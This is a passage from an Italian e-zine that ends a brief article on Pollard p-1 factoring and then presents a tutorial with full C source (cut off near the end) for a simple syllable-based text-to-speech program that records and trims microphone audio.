spmi.c : my implementation of the Pollard p-1 Method
RESULTS :
N[integer to factorize]: 3369738766071892021 [quite 2^32]
b = 10
Factor: 204518747
Factor: 16476429743
Factorization has been completed in 352-355 seconds.
3.0] - Conclusioni
Abbiamo visto due esempi di algoritmi per fattorizzare un intero di
grosse dimensioni[i risultati riportati si riferiscono alla
fattorizzazione di un intero a 32 bits, quindi nel migliore dei casi
in 352 secondi avremmo trovato i due fattori dell'intero che compone
una chiave pubblica RSA].
Nota: voglio ricordare che queste sono semplici implementazioni a solo
scopo di studio e possono essere ottimizzate con qualche controllo
in piu' prima del'algoritmo vero e proprio, ad esempio un controllo
se N e' una radice nesima perfetta.
Il prossimo articolo su questo argomento presentera' un'implementazione
dell'algoritmo di Lenstra basato sulle Curve Ellittiche.
Paolo Ardoino AKA binduck hu>
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
.::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::[.]::[.]
:: [O]nda[Q]uadra [0X0B] OQ20040308[0B] ::
:: [0x05][C0DiNG] GRiLL0 PARLANTE [eazy] ::
[.]::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
1. Preambolo
2. Introduzione
2.1 Analisi a runtime
2.2 Analisi del codice
3. Codice sorgente
1. Preambolo
"[...] A queste ultime parole, Pinocchio salt su tutt'infuriato e preso
sul banco un martello di legno lo scagli contro il Grillo-parlante.
Forse non credeva nemmeno di colpirlo: ma disgraziatamente lo colse per
l'appunto nel capo, tanto che il povero Grillo ebbe appena il fiato di
fare cr -cr -cr , e poi rimase l stecchito e appiccicato alla parete"
(tratto da "Le avventure di Pinocchio", C. Collodi)
2. Introduzione
Niente paura in questo articolo non intendo parlarvi dell'antipatico
Grillo-parlante reso famoso dal racconto di Collodi bens di un
simpatico sintetizzatore text-to-speech.
In cosa consiste questo programma? In linea di massima possiamo dire che
un sintetizzatore text-to-speech altro non che un programma in grado di
riprodurre vocalmente un testo scritto dall'utente.
Tale sistema in grado di generare sempre nuove frasi concatenando tra
loro diverse sillabe che apprende e memorizza in un proprio database man
mano che lo si utilizza.
Ma come funziona? Come prima cosa il programma richiedere all'utente di
digitare una frase, successivamente procede a dividerla in sillabe, ogni
sillaba trovata viene cercata all'interno del database.
Nel caso in cui una o pi sillabe non siano ancora presenti nel database
il programma richiede all'utente di pronunciarle al microfono in modo che
possano essere memorizzate e aggiunte al database.
Una volta che tutte le sillabe della frase sono state individuate all'
interno del database procede alla loro concatenazione e riproduce la
traccia sonora da essa ottenuta.
Quali sono le difficolt di scrivere tale programma? Il principale
problema da affrontare consiste nel riconscimento della voce dell'utente
quando si esegue l'acquisizione di una nuova sillaba e la soppressione
del rumore di fondo dalle tracce.
Per distinguere il rumore di fondo dal parlato necessario come prima
cosa prelevare un campione del rumore di fondo, successivamente quando si
acquisiranno le tracce contenenti la voce dell'utente che pronuncia la
sillaba sar cura del programma ricercare al loro interno gli intervalli
di silenzio prima e dopo la voce al fine di eliminarli.
2.1 Analisi a runtime
La frase utilizzata nell'esempio "sopra la panca la capra campa", come
vedremo le sillabe so-pra-la-pan non sono conosciute dal programma e
verranno richieste all'utente per la memorizzazione nel database.
Come vedremo la traccia audio di ogni sillaba pronunciata dall'utente
verr analizzata per rimuovere il silenzio prima e dopo la sua voce.
Ogni traccia audio composta da un numero di N campioni, la traccia
viene analizzata a gruppi di M campioni, dove M un numero molto
inferiore a N.
In particolare il programma riconosce l'inizio della sillaba all'interno
della traccia sonora cercando di isolare il primo blocco di M campioni
contenente una percentuale di campioni di rumore superiore al 20%.
La fine della sillaba viene individuata pressoch nello stesso modo,
questa volta viene ricercato il primo blocco di M campioni contenente una
percentuale di campioni di silenzio superiore all'80%.
Segue l'output di esempio del programma:
# ./grillo_parlante
Vuoi eseguire una prova del microfono? [y/n]: n
Il programma procedera' al campionamento e alla soppressione del rumore
di fondo. Durante questa fase e' necessario rimanere in silenzio.
Premere INVIO per iniziare.
Inizio procedura tra 5...4...3...2...1...silenzio!
Scrivi una frase: sopra la panca la capra campa
Pronuncia la sillaba so. Premere INVIO per iniziare.
Percentuale rumore: 0%
Percentuale rumore: 0%
Percentuale rumore: 0%
Percentuale rumore: 0%
Percentuale rumore: 0%
Percentuale rumore: 0%
Percentuale rumore: 0%
Percentuale rumore: 0%
Percentuale rumore: 3%
Percentuale rumore: 0%
Percentuale rumore: 0%
Percentuale rumore: 0%
Percentuale rumore: 0%
Percentuale rumore: 0%
Percentuale rumore: 45% <--- inizio della sillaba
Percentuale silenzio: 54%
Percentuale silenzio: 60%
Percentuale silenzio: 75%
Percentuale silenzio: 83% <--- fine sillaba
Pronuncia la sillaba pra. Premere INVIO per iniziare.
Percentuale rumore: 0%
Percentuale rumore: 0%
Percentuale rumore: 0%
Percentuale rumore: 0%
Percentuale rumore: 0%
Percentuale rumore: 0%
Percentuale rumore: 0%
Percentuale rumore: 0%
Percentuale rumore: 0%
Percentuale rumore: 0%
Percentuale rumore: 23% <--- inizio della sillaba
Percentuale silenzio: 77%
Percentuale silenzio: 90% <--- fine sillaba
Pronuncia la sillaba la. Premere INVIO per iniziare.
Percentuale rumore: 0%
Percentuale rumore: 0%
Percentuale rumore: 0%
Percentuale rumore: 0%
Percentuale rumore: 0%
Percentuale rumore: 0%
Percentuale rumore: 0%
Percentuale rumore: 0%
Percentuale rumore: 3%
Percentuale rumore: 0%
Percentuale rumore: 0%
Percentuale rumore: 0%
Percentuale rumore: 0%
Percentuale rumore: 0%
Percentuale rumore: 0%
Percentuale rumore: 7%
Percentuale rumore: 45% <--- inizio della sillaba
Percentuale silenzio: 55%
Percentuale silenzio: 38%
Percentuale silenzio: 25%
Percentuale silenzio: 51%
Percentuale silenzio: 99% <--- fine sillaba
Pronuncia la sillaba pan. Premere INVIO per iniziare.
Percentuale rumore: 0%
Percentuale rumore: 0%
Percentuale rumore: 0%
Percentuale rumore: 0%
Percentuale rumore: 0%
Percentuale rumore: 0%
Percentuale rumore: 0%
Percentuale rumore: 0%
Percentuale rumore: 0%
Percentuale rumore: 0%
Percentuale rumore: 15% <--- rumore
Percentuale rumore: 0%
Percentuale rumore: 13%
Percentuale rumore: 42% <--- inizio della sillaba
Percentuale silenzio: 57%
Percentuale silenzio: 56%
Percentuale silenzio: 64%
Percentuale silenzio: 65%
Percentuale silenzio: 71%
Percentuale silenzio: 91% <--- fine sillaba
Infine il programma concatena le sillabe acquisite dal microfono con
quelle gi presenti nel database e riproduce la frase vocalmente.
2.2 Analisi del codice
Incominciamo la nostra analisi del codice sorgente partendo dalla prima
parte della funzione main():
int
main(int argc, char **argv)
{
int dev;
.
.
.
.
set_device(dev);
rumore_fondo(dev);
for (;;) {
.
.
.
.
}
}
Come prima cosa viene richiamata set_device() che provvede a settare i
parametri relativi al campionamento:
void
set_device(int dev)
{
int arg;
arg = BITS;
if (ioctl(dev, SOUND_PCM_WRITE_BITS, &arg) == -1)
err_quit();
if (arg != BITS) {
fprintf(stderr, "Unable to set required sample bits
size\n");
exit(-1);
}
.
.
.
.
}
Esegue una serie di ioctl() sul descrittore di file relativo a /dev/dsp
al fine di settare il numero di bit, il numero di canali e la frequenza
a cui verranno effettuati i campionamenti.
Nel nostro caso tali valori vengono assegnati sulla base di alcune
costanti definite all'inizio del programma:
#define BITS 8
#define CHANNELS 1
#define RATE 8000
come possiamo vedere dal valore delle costanti i campionamenti verranno
effettuati a 8 bit, mono e con una frequenza di campionamento di 8000 Hz.
Leggendo dal descrittore del file /dev/dsp possibile acquisire l'input
dal dispositivo abilitato dal mixer, nel nostro caso il microfono, mentre
scrivendoci possibile riprodurre la fonte sonora campionata.
La seconda funzione chiamata da main() rumore_fondo() che serve a
campionare il rumore di fondo:
int min = 255, max = 0;
void
rumore_fondo(int dev)
{
int i;
Audio sample;
unsigned char *ptr;
do {
.
.
.
.
memset(&sample, 0, sizeof(sample));
if (read(dev, sample.data, SAMPLE_LEN) == -1)
err_quit();
/*
Ricerca i picchi massimi e minimi nel rumore di fondo
campionato. I valori dei campioni possono oscillare tra
0 e 255 dove 128 equivale alla condizione di totale
silenzio
*/
for (ptr = sample.data; ptr < sample.data + SAMPLE_LEN;
ptr++) {
*ptr &= MASK;
if (*ptr < min)
min = *ptr;
if (*ptr > max)
max = *ptr;
}
.
.
.
.
/*
Se i picchi massimi e minimi riscontrati nel rumore di fondo si
discostano eccessivamente da 128, che equivale alla condizione
di totale silenzio, mostra un messaggio d'errore e ripete la
procedura
*/
} while (min < MIN || max > MAX);
}
In questa funzione leggiamo una traccia di dimensione SAMPLE_LEN dal
device /dev/dsp e la memorizziamo nella variabile sample, questa traccia
conterr il rumore di fondo.
La costante SAMPLE_LEN definita in maniera tale da rispecchiare lo
spazio richiesto in memoria per contenere una traccia di durata pari a
tre secondi:
#define SECONDS 3
#define SAMPLE_LEN BITS / 8 * CHANNELS * RATE * SECONDS
Per calcolare il valore di SAMPLE_LEN sappiamo che il numero di byte di
un campione pu essere ottenuto dividendo per 8 il numero di bit che
compone ogni campione:
BITS / 8
Inoltre sappiamo che viene prelevato un campione per ogni canale, che nel
nostro caso uno solo visto che lavoriamo in mono.
Essendo la frequenza di campionamento pari a 8000 Hz sappiamo che per
ogni secondo di traccia verranno memorizzati 8000 campioni pertanto
moltiplichiamo la durata della traccia espressa in secondi per la
frequenza di campionamento espressa in Hz:
RATE * SECONDS
Il valore di SAMPLE_LEN viene calcolato moltiplicando il numero di byte
che compongono ciascun campione per il numero di canali per la frequenza
di campionamento per la durata della traccia in secondi:
BITS / 8 * CHANNELS * RATE * SECONDS
Una volta letta la traccia audio entriamo nel ciclo for e ptr viene fatto
puntare all'inizio della traccia che contiene il rumore di fondo
campionato.
Ad ogni iterazione del ciclo for il puntatore viene fatto avanzare di un
byte, ovvero la dimensione di ogni campione (BITS / 8), al termine del
for le variabili min e max conterranno rispettivamente il picco minimo e
massimo presenti nel rumore di fondo.
Tenendo in considerazione che il valore di ogni campione pu oscillare
tra 0 e 255, dove 128 rappresenta la condizione di totale silenzio,
possiamo immaginare che min avr un valore di poco inferiore a 128 mentre
max avr un valore di poco superiore a tale soglia.
A questo punto i valori del picco minimo e massimo vengono raffrontati
con i valori di due costanti:
#define MIN 120
#define MAX 140
Nel caso il valore dei picchi dovesse essere superiore a tali valori il
programma proceder ad effettuare nuovamente il campionamento del rumore
di fondo.
Passiamo ora all'analisi della seconda parte della funzione main():
int
main(int argc, char **argv)
{
int dev, fd, i;
char buff[MAXLEN], temp[MAXLEN], *parola, *sillaba;
.
.
.
.
for (;;) {
printf("Scrivi una frase: ");
if (fgets(buff, sizeof(buff), stdin) == NULL)
err_quit();
buff[strlen(buff) - 1] = 0;
memcpy(temp, buff, sizeof(buff));
for (parola = strtok(temp, " "); parola != NULL;
parola = strtok(NULL, " "))
/*
Divide in sillabe la parola
*/
for (i = 1; dividi_sillabe(parola, &sillaba, i)
; i++) {
/*
Se la sillaba non presente nel
database procede alla sua
memorizzazione
*/
if (trova_sillaba(fd, sillaba) == -1)
memorizza_sillaba(dev, sillaba, fd);
free(sillaba);
}
.
.
.
.
}
}
La funzione fgets() provvede a leggere dallo standard input una frase
digitata dall'utente e a memorizzarla per successive elaborazioni.
Subito dopo viene richiamata ciclicamente strtok() su tale frase per
separarne le varie parole che la compongono:
for (parola = strtok(temp, " "); parola != NULL;
parola = strtok(NULL, " "))
.
.
.
Ogni parola, a sua volta, viene scoposta in sillabe richiamando
ricorsivamente la funzione dividi_sillabe():
/*
Divide in sillabe la parola
*/
for (i = 1; dividi_sillabe(parola, &sillaba, i); i++) {
.
.
.
}
Per ogni sillaba viene eseguita la funzione trova_sillaba() che verifica
se la sillaba esiste nel database del programma:
/*
Se la sillaba non presente nel database procede alla
sua memorizzazione
*/
if (trova_sillaba(fd, sillaba) == -1)
memorizza_sillaba(dev, sillaba, fd);
Il descrittore di file fd a cui si fa riferimento quello relativo al
database delle firme che non altro che un file binario nel quale
viene memorizzata ogni sillaba sia sotto forma di testo ascii che la
relativa traccia audio.
Se trova_sillaba() da esito negativo, ovvero la sillaba non presente
nel database, viene chiamata la funzione memorizza_sillaba() che provvede
ad inserire la nuova sillaba nel database.
Analizziamo dunque queste due funzioni, trova_sillaba() difinita in
questo modo:
int
trova_sillaba(int fd, char *sillaba)
{
Audio sample;
lseek(fd, 0, SEEK_SET);
memset(&sample, 0, sizeof(sample));
while (read(fd, &sample, sizeof(sample)) > 0)
if (strcmp(sample.sillaba, sillaba) == 0)
return 1;
return -1;
}
Come prima cosa si sposta all'inizio del file che contiene il database
delle sillabe e scorre tutte le voci contenute nel db alla ricerca di
una che corrisponda alla sillaba passata come argomento della funzione.
Se la sillaba viene trovata la funzione ritorna 1 altrimenti ritorna -1.
In questo modo nel caso il valore di ritorno di tale funzione dovesse
risultare negativo verrebbe richiamata la funzione memorizza_sillaba()
che provvederebbe all'inserimento della nuova sillaba nel db.
La prima parte di tale funzione si presenta cos:
void
memorizza_sillaba(int dev, char *sillaba, int fd)
{
Audio sample;
int rumore, silenzio, percent_rumore,
percent_silenzio;
unsigned char *ptr, *ptr2;
do {
printf("Pronuncia la sillaba %s. Premere INVIO per
iniziare.\n", sillaba);
fgetc(stdin);
memset(&sample, 0, sizeof(sample));
strncpy(sample.sillaba, sillaba, 9);
if (read(dev, sample.data, SAMPLE_LEN) == -1)
err_quit();
.
.
.
.
} while (....);
.
.
.
.
}
All'utente viene richiesto di pronunciare ad alta voce la sillaba passata
come argomento della funzione. Successivamente la funzione esegue una
lettura dal descrittore di file relativo al device audio /dev/dsp al fine
di acquisire la traccia audio.
Possiamo notare che la variabile sample nella quale viene memorizzata la
sillaba dichiarata di tipo Audio, questo tipo una struttura definita
nel modo seguente:
typedef struct {
int begin, end;
char sillaba[10];
unsigned char data[SAMPLE_LEN];
} Audio;
la variabile sillaba conterr la stringa corrispondente alla sillaba,
mentre la variabile data conterr la traccia audio acquisita dal
microfono.
Passiamo ora alla seconda parte della stessa funzione:
void
memorizza_sillaba(int dev, char *sillaba, int fd)
{
Audio sample;
int rumore, silenzio, percent_rumore,
percent_silenzio;
unsigned char *ptr, *ptr2;
do {
.
.
.
.
for (ptr = sample.data; ptr < sample.data + SAMPLE_LEN;
ptr += NSAMPLE) {
rumore = 0;
/*
Analizza un blocco di campioni per vedere la
percentuale di rumore in esso contenuta
*/
for (ptr2 = ptr; ptr2 < ptr + NSAMPLE; ptr2++)
if (*ptr2 < min || *ptr2 > max)
rumore++;
/*
Se la percentuale di rumore contenuta nel
blocco di campioni analizzato supera il 20% lo
considera l'inizio della sillaba pronunciata
*/
printf("Percentuale rumore: %d%%\n",
percent_rumore = 100 * rumore / NSAMPLE);
if (percent_rumore > 20) {
sample.begin = ptr - sample.data;
break;
}
}
if (!sample.begin)
fprintf(stderr, "\nNon stato possibile
riconoscere l'inizio della parola.\n");
.
.
.
.
} while (....);
.
.
.
.
}
Il puntatore ptr viene fatto puntare all'inizio della traccia audio e per
ogni iterazione del ciclo for viene fatto avanzare di un numero di
campioni pari al valore della costante NSAMPLE cos definita:
#define NSAMPLE 500
Ad ogni itarazione del ciclo for pi esterno viene eseguito un altro for
al suo interno:
/*
Analizza un blocco di campioni per vedere la percentuale di
rumore in esso contenuta
*/
for (ptr2 = ptr; ptr2 < ptr + NSAMPLE; ptr2++)
if (*ptr2 < min || *ptr2 > max)
rumore++;
Il puntatore ptr2 viene fatto puntare alla porzione di dati corrente, in
questo modo la traccia la cui durata tolate di 3 secondi viene
analizzata a blocchi di 500 campioni.
Lo scopo del ciclo for pi interno quello di scorrere ogni elemento di
ogni blocco di campioni al fine di trovare il primo blocco di campioni
che rappresenti la sillaba pronunciata dall'utente.
Per far questo viene analizzato il valore di ogni singolo campione che
compone il blocco di 500 elementi e viene incrementata la variabile
rumore nel caso in cui il valore del campione analizzato dovesse uscire
dai valori di soglia che costituiscono il silenzio.
/*
Se la percentuale di rumore contenuta nel blocco di campioni
analizzato supera il 20% lo considera l'inizio della sillaba
pronunciata
*/
printf("Percentuale rumore: %d%%\n",
percent_rumore = 100 * rumore / NSAMPLE);
if (percent_rumore > 20) {
sample.begin = ptr - sample.data;
break;
}
Una volta usciti dal ciclo for interno viene calcolata la percentuale di
elementi che contengono rumore e se tale percentuale supera il 20% il
blocco di campioni viene considerato l'inizio della sillaba pronunciata
dall'utente all'interno della traccia audio. La variabile begin contenuta
all'interno della struttura sample viene fatta puntare all'inizio di tale
blocco per indicare l'inizio della sillaba all'interno della traccia.
Passiamo alla terza ed ultima parte della funzione:
void
memorizza_sillaba(int dev, char *sillaba, int fd)
{
Audio sample;
int rumore, silenzio, percent_rumore,
percent_silenzio;
unsigned char *ptr, *ptr2;
do {
.
.
.
.
for (ptr = sample.data + sample.begin;
ptr < sample.data + SAMPLE_LEN; ptr += NSAMPLE) {
silenzio = 0;
/*
Analizza un blocco di campioni per vedere la
percentuale di silenzio in esso contenuta
*/
for (ptr2 = ptr; ptr2 < ptr + NSAMPLE; ptr2++)
if (*ptr2 >= min && *ptr2 <= max)
silenzio++;
/*
Se la percentuale di silenzio contenuta nel
blocco di campionianalizzato supera l'80% lo
considera la fine della sillaba pronunciata
*/
printf("Percentuale silenzio: %d%%\n",
percent_silenzio = 100 * silenzio / NSAMPLE);
if (percent_silenzio > 80) {
sample.end = ptr - sample.data;
break;
}
}
if (!sample.end)
fprintf(stderr, "\nNon stato possibile riconoscere la
fine della parola.\n");
} while (!sample.begin || !sample.end);
/*
Aggiunge la nuova sillaba al database
*/
lseek(fd, 0, SEEK_END);
if (write(fd, &sample, sizeof(sample)) == -1)
err_quit();
}
Lo struttura del for in tutto e per tutto simile a quella analizzata in
precedenza, pertanto valgono le stesse considerazioni fatte poco sopra.
Questa volta il for viene utilizzato per trovare il blocco di campioni
che rappresentano la fine della sillaba all'interno della traccia audio.
Il costrutto do-while verifica che l'inizio e la fine sillaba siano state
riconosciute, in caso contrario l'intera procedura verr ripetuta.
Infine, la nuova sillaba viene inserita alla fine del database in modo
tale che possa essere utilizzata in futuro, tale funzione costituisce
l'elemento base per l'apprendimento del programma.
Facciamo ora un breve salto indietro e torniamo ad analizzare la terza
parte della funzione main():
int
main(int argc, char **argv)
{
int dev, fd, i;
char buff[MAXLEN], temp[MAXLEN], *parola, *sillaba;
.
.
.
.
for (;;) {
.
.
.
.
for (parola = strtok(buff, " "); parola != NULL;
parola = strtok(NULL, " ")) {
/*
Divide in sillabe la parola
*/
for (i = 1; dividi_sillabe(parola, &sillaba, i); i++) {
/*
Riproduce la sillaba contenuta nel database
*/
if (pronuncia(dev, sillaba, fd) == -1)
fprintf(stderr, "Sillaba sconosciuta\n");
free(sillaba);
}
usleep(300000);
}
}
}
Viene richiamata ciclicamente strtok() esattamente come avveniva per la
seconda parte di main(). L'intera frase viene cos divisa in parole che
vengono successivamente divise in sillabe.
Per ogni sillaba ottenuta viene richiamata la funzione pronuncia() che
legge il database e provvede a riprodurre la traccia relativa a tale
sillaba.
Vediamo come si presenta la funzione pronuncia():
int
pronuncia(int dev, char *sillaba, int fd)
{
Audio sample;
lseek(fd, 0, SEEK_SET);
memset(&sample, 0, sizeof(sample));
/*
Scorre l'intero database alla ricerca della sillaba
*/
while (read(fd, &sample, sizeof(sample)) > 0)
/*
Se la sillaba viene trovata la riproduce
*/
if (strcmp(sample.sillaba, sillaba) == 0) {
write(dev, sample.data + sample.begin,
sample.end - sample.begin);
return 1;
}
return -1;
}
La funzione ricerca la sillaba passata come argomento tra quelle
memorizzate nel database, se la sillaba viene trovata viene riprodotta
scrivendo sul device /dev/dsp. Notare che la porzione della traccia audio
che viene riprodotta esclusivamente quella tra sample.begin e
sample.end che sono state inizializzate in memorizza_sillaba().
In questo modo il programma riproduce esclusivamente la parte parlata
della traccia audio e salta la parte che contiene solo rumore di fondo.
3. Codice sorgente
/*
* grillo_parlante.c: Text-To-Speech synthesizer that read text aloud.
*
*
* Copyright (c) 2003, eazy
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are
* met:
*
* * Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
*
* * Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the
* distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
* HOLDERS OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
* USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH
* DAMAGE.
*
*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define DSP "/dev/dsp"
#define DB ".dizionario"
#define MIN 120
#define MAX 140
#define BITS 8
#define CHANNELS 1
#define RATE 8000
#define SECONDS 3
#define SAMPLE_LEN BITS / 8 * CHANNELS * RATE * SECONDS
#define MASK 0xfc
#define MAXLEN 255
#define NSAMPLE 500
#define LEN 8
#define SCREEN_LEN 80
int signo = 0, min = 255, max = 0;
typedef struct {
int begin, end;
char sillaba[10];
unsigned char data[SAMPLE_LEN];
} Audio;
void
err_quit(void)
{
perror("error");
exit(-1);
}
void
sigint(int sig)
{
signo = 1;
}
int
consonante(char lettera)
{
int i;
char vocale[5] = {'a', 'e', 'i', 'o', 'u'};
for (i = 0; i < 5; i++)
if (lettera == vocale[i])
return 0;
return 1;
}
int
vocale(char lettera)
{
int i;
char vocale[5] = {'a', 'e', 'i', 'o', 'u'};
for (i = 0; i < 5; i++)
if (lettera == vocale[i])
return 1;
return 0;
}
int
doppia(char *lettera)
{
if (*lettera == 0)
return 0;
if (*lettera == *(lettera + 1))
return 1;
return 0;
}
int
nmlr(char *lettera)
{
int i;
char nmlr[4] = {'n', 'm', 'l', 'r'};
for (i = 0; i < 4; i++)
if (*lettera == nmlr[i])
if (consonante(*(lettera + 1)))
return 1;
return 0;
}
/*
Restituisce la sillaba che si trova nella posizione indicata da pos
*/
int
dividi_sillabe(char *parola, char **sillaba, int pos)
{
int i;
char *ptr, *begin, *end;
for (i = 1, ptr = parola; ptr < parola + strlen(parola); i++) {
begin = ptr;
while (consonante(*ptr))
ptr++;
while (vocale(*ptr))
ptr++;
if (doppia(ptr)) {
ptr++;
goto fine;
}
if (nmlr(ptr))
ptr++;
fine: end = ptr;
if (i == pos) {
*sillaba = calloc(end - begin + 1, sizeof(char));
memcpy(*sillaba, begin, end - begin);
return 1;
}
}
return 0;
}
int
trova_sillaba(int fd, char *sillaba)
{
Audio sample;
lseek(fd, 0, SEEK_SET);
memset(&sample, 0, sizeof(sample));
while (read(fd, &sample, sizeof(sample)) > 0)
if (strcmp(sample.sillaba, sillaba) == 0)
return 1;
return -1;
}
void
memorizza_sillaba(int dev, char *sillaba, int fd)
{
Audio sample;
int rumore, silenzio, percent_rumore,
percent_silenzio;
unsigned char *ptr, *ptr2;
do {
printf("Pronuncia la sillaba %s. Premere INVIO per "
"iniziare.\n", sillaba);
fgetc(stdin);
memset(&sample, 0, sizeof(sample));
strncpy(sample.sillaba, sillaba, 9);
if (read(dev, sample.data, SAMPLE_LEN) == -1)
err_quit();
for (ptr = sample.data; ptr < sample.data + SAMPLE_LEN;
ptr += NSAMPLE) {
rumore = 0;
/*
Analizza un blocco di campioni per vedere la
percentuale di rumore in esso contenuta
*/
for (ptr2 = ptr; ptr2 < ptr + NSAMPLE; ptr2++)
if (*ptr2 < min || *ptr2 > max)
rumore++;
/*
Se la percentuale di rumore contenuta nel
blocco di campioni analizzato supera il 20% lo
considera l'inizio della sillaba pronunciata
*/
printf("Percentuale rumore: %d%%\n",
percent_rumore = 100 * rumore / NSAMPLE);
if (percent_rumore > 20) {
sample.begin = ptr - sample.data;
break;
}
}
if (!sample.begin)
fprintf(stderr, "\nNon stato possibile "
"riconoscere l'inizio della parola.\n");
for (ptr = sample.data + sample.begin;
ptr < sample.data + SAMPLE_LEN; ptr += NSAMPLE){
silenzio = 0;
/*
Analizza un blocco di campioni per vedere la
percentuale di silenzio in esso contenuta
*/
for (ptr2 = ptr; ptr2 < ptr + NSAMPLE; ptr2++)
if (*ptr2 >= min && *ptr2 <= max)
silenzio++;
/*
Se la percentuale di silenzio contenuta nel
blocco di campioni analizzato supera l'80% lo
considera la fine della sillaba pronunciata
*/
printf("Percentuale silenzio: %d%%\n",
percent_silenzio = 100 * silenzio / NSAMPLE);
if (percent_silenzio > 80) {
sample.end = ptr - sample.data;
break;
}
}
if (!sample.end)
fprintf(stderr, "\nNon stato possibile "
"riconoscere la fine della parola.\n");
} while (!sample.begin || !sample.end);
/*
Aggiunge la nuova sillaba al database
*/
lseek(fd, 0, SEEK_END);
if (write(fd, &sample, sizeof(sample)) == -1)
err_quit();
}
int
pronuncia(int dev, char *sillaba, int fd)
{
Audio sample;
lseek(fd, 0, SEEK_SET);
memset(&sample, 0, sizeof(sample));
/*
Scorre l'intero database alla ricerca della sillaba
*/
while (read(fd, &sample, sizeof(sample)) > 0)
/*
Se la sillaba viene trovata la riproduce
*/
if (strcmp(sample.sillaba, sillaba) == 0) {
write(dev, sample.data + sample.begin,
sample.end - sample.begin);
return 1;
}
return -1;
}
unsigned char
campiona(int dev)
{
int n;
unsigned char buff[LEN];
if ((n = read(dev, &buff, LEN)) == LEN)
return buff[n - 1];
return -1;
}
/*
tnx lesion for this function :)
*/
void
eq(int dev)
{
int i, l;
struct sigaction act, old;
act.sa_handler = sigint;
sigemptyset(&act.sa_mask);
act.sa_flags |= SA_RESTART;
if (sigaction(SIGINT, &act, &old) == -1)
err_quit();
while (!signo) {
l = campiona(dev) * SCREEN_LEN / 255;
for (i = 0; i < l; i++)
printf("|");
printf("\n");
}
signo = 0;
if (sigaction(SIGINT, &old, NULL) == -1)
err_quit();
}
void
set_mic(int dev)
{
int i;
printf("Vuoi eseguire una prova del microfono? [y/n]: ");
if (fgetc(stdin) == 'y') {
printf("\nPer terminare la prova microfono premi "
"Ctrl^C ");
for (i = 5; i > 0; i--) {
printf("%d...", i);
fflush(stdout);
sleep(1);
}
printf("\n");
eq(dev);
}
fgetc(stdin);
}
void
rumore_fondo(int dev)
{
int i;
Audio sample;
unsigned char *ptr;
do {
set_mic(dev);
fprintf(stderr, "Il programma procedera' al "
"campionamento e alla soppressione del rumore\n"
"di fondo. Durante questa fase e' necessario "
"rimanere in silenzio.\n"
"Premere INVIO per iniziare.\n");
fgetc(stdin);
fprintf(stderr, "\nInizio procedura tra ");
for (i = 5; i > 0; i--) {
printf("%d...", i);
fflush(stdout);
sleep(1);
}
printf("silenzio!\n");
memset(&sample, 0, sizeof(sample));
if (read(dev, sample.data, SAMPLE_LEN) == -1)
err_quit();
/*
Ricerca i picchi massimi e minimi nel rumore di fondo
campionato. I valori dei campioni possono oscillare tra
0 e 255 dove 128 equivale alla condizione di totale
silenzio
*/
for (ptr = sample.data; ptr < sample.data + SAMPLE_LEN;
ptr++) {
*ptr &= MASK;
if (*ptr < min)
min = *ptr;
if (*ptr > max)
max = *ptr;
}
/*
Se i picchi massimi e minimi riscontrati nel rumore di
fondo si discostano eccessivamente da 128, che equivale
alla condizione di totale silenzio, mostra un messaggio
d'errore e ripete la procedura
*/
if (min < MIN || max > MAX)
fprintf(stderr, "Operazione non riuscita. Questo"
" puo' essere dovuto ad un'errata\n"
"configurazione del mixer o ad un eccessivo "
"rumore di fondo. Provare\n"
"a diminuire il livello del mixer relativo al "
"microfono e riprovare.\n");
} while (min < MIN || max > MAX);
}
void
set_device(int dev)
{
int arg;
arg = BITS;
if (ioctl(dev, SOUND_PCM_WRITE_BITS, &arg) == -1)
err_quit();
if (arg != BITS) {
fprintf(stderr, "Unable to set required sample bits "
"size\n");
exit(-1);
}
arg = CHANNELS;
if (ioctl(dev, SOUND_PCM_WRITE_CHANNELS, &arg) == -1)
err_quit();
if (arg != CHANNELS) {
fprintf(stderr, "Unable to set required channels\n");
exit(-1);
}
arg = RATE;
if (ioctl(dev, SOUND_PCM_WRITE_RATE, &arg) == -1)
err_quit();
if (arg != RATE) {
fprintf(stderr, "Unable to set required sample rate\n");
exit(-1);
}
}
int
main(int argc, char **argv)
{
int dev, fd, i;
char buff[MAXLEN], temp[MAXLEN], *parola, *sillaba;
if ((dev = open(DSP, O_RDWR)) == -1)
err_quit();
if ((fd = open(DB, O_RDWR | O_CREAT, S_IRWXU)) == -1)
err_quit();
set_device(dev);
rumore_fondo(dev);
for (;;) {
printf("Scrivi una frase: ");
if (fgets(buff, sizeof(buff), stdin) == NULL)
err_quit();
buff[strlen(buff) - 1] = 0;
memcpy(temp, buff, sizeof(buff));
for (parola = strtok(temp, " "); parola != NULL;
parola = strtok(NULL, " "))
/*
Divide in sillabe la parola
*/
for (i = 1; dividi_sillabe(parola, &sillaba, i);
i++) {
/*
Se la sillaba non presente nel
database procede alla sua memorizzazione
*/
if (trova_sillaba(fd, sillaba) == -1)
memorizza_sillaba(dev, sillaba, fd);
free(sillaba);
}
